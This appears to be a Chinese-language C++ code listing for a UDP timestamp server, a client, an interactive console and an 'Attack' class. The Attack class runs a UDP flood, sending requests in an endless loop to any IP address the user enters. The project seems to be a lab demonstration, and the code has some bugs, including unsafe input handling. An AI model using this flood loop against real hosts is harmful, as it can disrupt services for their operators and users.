Udp类:对UDP套接字进行封装 udp.h
// udp.h对UDP套接字进行封装
#ifndef __UDP_H__
#define __UDP_H__
class Udp
{
private:
int sock; //套接字描述符
public:
int Open(char *errbuff);
void Close();
int Bind(char* addr, unsigned short port, char* errbuff);
int Recv(char* buff, int len, unsigned int &nip,
unsigned short &nport, char* errbuff);
int Send(char* buff, int len, unsigned int nip,
unsigned short nport, char *errbuff);
int Getfd(){return sock;}
Udp();
~Udp();
};
#endif Server类:利用Udp类,提供UDP服务 server.cpp
#include "server.h"
#include "defs.h"
#include "slot.h"
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
Server *Server::pser = NULL;
static void* ServiceThread(void *arg) // UDP服务线程处理函数
{
if(!arg) return NULL;
Server *pser = (Server *)arg;
pser->Listen();
}
static void* ServiceStat(void *arg) // 请求速率统计线程处理函数
{
if(!arg) return NULL;
Server *pser = (Server *)arg;
pser->Stat();
}
int Server::Stat()
{
float req0, req1;
int slen = 3000000;
// 每隔3秒统计一次
while(true){
req0 = reqs;
usleep(slen);
req1 = reqs;
printf("Req: %.2f r/s\n", (req1 - req0)/(slen/1000000));
}
}
Server::Server()
{
reqs = 0;
}
Server::~Server()
{
if(pser){
delete pser;
}
}
Server* Server::GetInstance()
{
if(!pser){//第一次运行,创建新对象
pser = new Server;
}
return pser;
}
int Server::Listen()
{
char buff[1514];
unsigned int nip;
unsigned short nport;
int len;
SlotAck sa; // 这里还没有赋值为加密后的时间戳
while(true){
/*等待请求,并作出应答*/
len = udp.Recv(buff, 1514, nip, nport, NULL);
if(len > 0)
{
udp.Send((char *)&sa, sizeof(sa), nip, nport, NULL);
reqs++;
}
}
return 0;
}
int Server::Start(unsigned short port)
{
printf("Server: Open...\n");
char errbuff[ERRBUFFLENGTH];
if(-1 == udp.Open(errbuff)){
printf("%s\n", errbuff);
return -1;
}
printf("Server: Bind (%d)...\n", port);
char ip[] = "0.0.0.0";
if(-1 == udp.Bind(ip, port, errbuff)){
printf("%s\n", errbuff);
return -1;
}
// 启动两个线程
pthread_t pth;
pthread_create(&pth, NULL, ServiceThread, this);
pthread_create(&pth, NULL, ServiceStat, this);
return 0;
} Client类:利用Udp类,完成时间戳请求服务 Attack类:利用Udp类,完成flood攻击 attack.cpp
#include "attack.h"
#include "defs.h"
#include "slot.h"
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
Attack *Attack::pclt = NULL;
static void* ServiceThread(void *arg)
{
if(!arg) return NULL;
Attack *pser = (Attack *)arg;
pser->Request();
}
Attack::Attack()
{
}
Attack::~Attack()
{
if(pclt){
delete pclt;
}
}
Attack* Attack::GetInstance()
{
if(!pclt){
pclt = new Attack;
}
return pclt;
}
int Attack::Request()
{
char buff[1514];
int len;
SlotReq sr;
unsigned int nip;
unsigned short nport;
while(true){
len = udp.Send((char*)&sr, sizeof(sr), nserip, nserport, NULL);
//usleep(1000000);
}
return 0;
}
int Attack::Start(char* addr, unsigned short port)
{
printf("Attack: Open...\n");
char errbuff[ERRBUFFLENGTH];
if(-1 == udp.Open(errbuff)){
printf("%s\n", errbuff);
return -1;
}
/*
printf("Attack: Bind (%d)...\n", port-1);
char ip[] = "0.0.0.0";
if(-1 == udp.Bind(ip, port-1, errbuff)){
printf("%s\n", errbuff);
return -1;
}
*/
nserport = htons(port);
nserip = inet_addr(addr);
pthread_t pth;
pthread_create(&pth, NULL, ServiceThread, this);
return 0;
} Bash类:提供界面交互功能 bash.h
#ifndef __BASH_H__
#define __BASH_H__
#include <pthread.h>
class Bash
{
private:
pthread_t pth;
public:
Bash();
~Bash();
int CmdHdl(char *cmd);
int Start(char* errbuff);
int Stop();
int IOE();
void HelloMsg();
void ByeMsg();
int AddrCheck(char* ip);
};
#endif bash.cpp
#include "bash.h"
#include "defs.h"
#include "server.h"
#include "client.h"
#include "attack.h"
#include <iostream>
using namespace std;
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#define inhead() printf("root@hs # ")
void* BashThread(void *arg)
{
Bash *pbash = (Bash*)arg;
pbash->IOE();
return NULL;
}
void Bash::HelloMsg()
{
system("clear");
printf("------------------------------------------------------------\n");
printf("-------------------------Bash Start-------------------------\n");
printf("------------------------------------------------------------\n");
}
void Bash::ByeMsg()
{
printf("------------------------------------------------------------\n");
printf("--------------------------Bash end--------------------------\n");
printf("------------------------------------------------------------\n");
}
Bash::Bash()
{
}
Bash::~Bash()
{
}
int Bash::AddrCheck(char* ip)
{
int result = 0;
int a[4];
result = sscanf(ip, "%d.%d.%d.%d", &a[0], &a[1], &a[2], &a[3]);
if(result < 4){
return -1;
}
for(int i = 0; i<4; i++){
if(a[i] >= 255 || a[i] < 0)
return -1;
}
return 0;
}
int Bash::Start(char* errbuff)
{
int result;
result = pthread_create(&pth, NULL, BashThread, this);
if(result){
CURRENTERROR(errbuff);
return -1;
}
pthread_join(pth, NULL);
return 0;
}
int Bash::CmdHdl(char *cmd)
{
char cmdh[32], cmdl[BASH_MAXCMDLENGTH - 32];
if(!cmd){
return 0;
}
while(*cmd != '\0' && (*cmd == ' ' || *cmd == '\t' || *cmd == '\n')){
cmd++;
}
int i = 0;
while(*cmd != '\0' && *cmd != ' ' && *cmd != '\t'){
cmdh[i++] = *cmd++;
}
cmdh[i] = 0;
while(*cmd != '\0' && (*cmd == ' ' || *cmd == '\t' || *cmd == '\n')){
cmd++;
}
i = 0;
while(*cmd != '\0'){
cmdl[i++] = *cmd++;
}
cmdl[i] = 0;
if(!strcmp(cmdh, "quit") || !strcmp(cmdh, "q")){
ByeMsg();
pthread_exit(NULL);
}
else if(!strcmp(cmdh, "ser") || !strcmp(cmdh, "s")){
Server::GetInstance()->Start(2223);
}
else if(!strcmp(cmdh, "clt") || !strcmp(cmdh, "c")){
if(-1 == AddrCheck(cmdl)){
printf("IP address [%s] is invalid.\n", cmdl);
return -1;
}printf("IP address [%s] is invalid.\n", cmdl);
Client::GetInstance()->Start(cmdl, 2223);
}
else if(!strcmp(cmdh, "att") || !strcmp(cmdh, "a")){
if(-1 == AddrCheck(cmdl)){
printf("IP address [%s] is invalid.\n", cmdl);
return -1;
}
Attack::GetInstance()->Start(cmdl, 2223);
}
else{
printf("\"%s\" is invalid!\n", cmdh);
}
return 0;
}
int Bash::IOE()
{
HelloMsg();
char ibuff[BASH_MAXCMDLENGTH];
while(true){
inhead();
gets(ibuff);
CmdHdl(ibuff);
}
return 0;
}
int Bash::Stop()
{
} |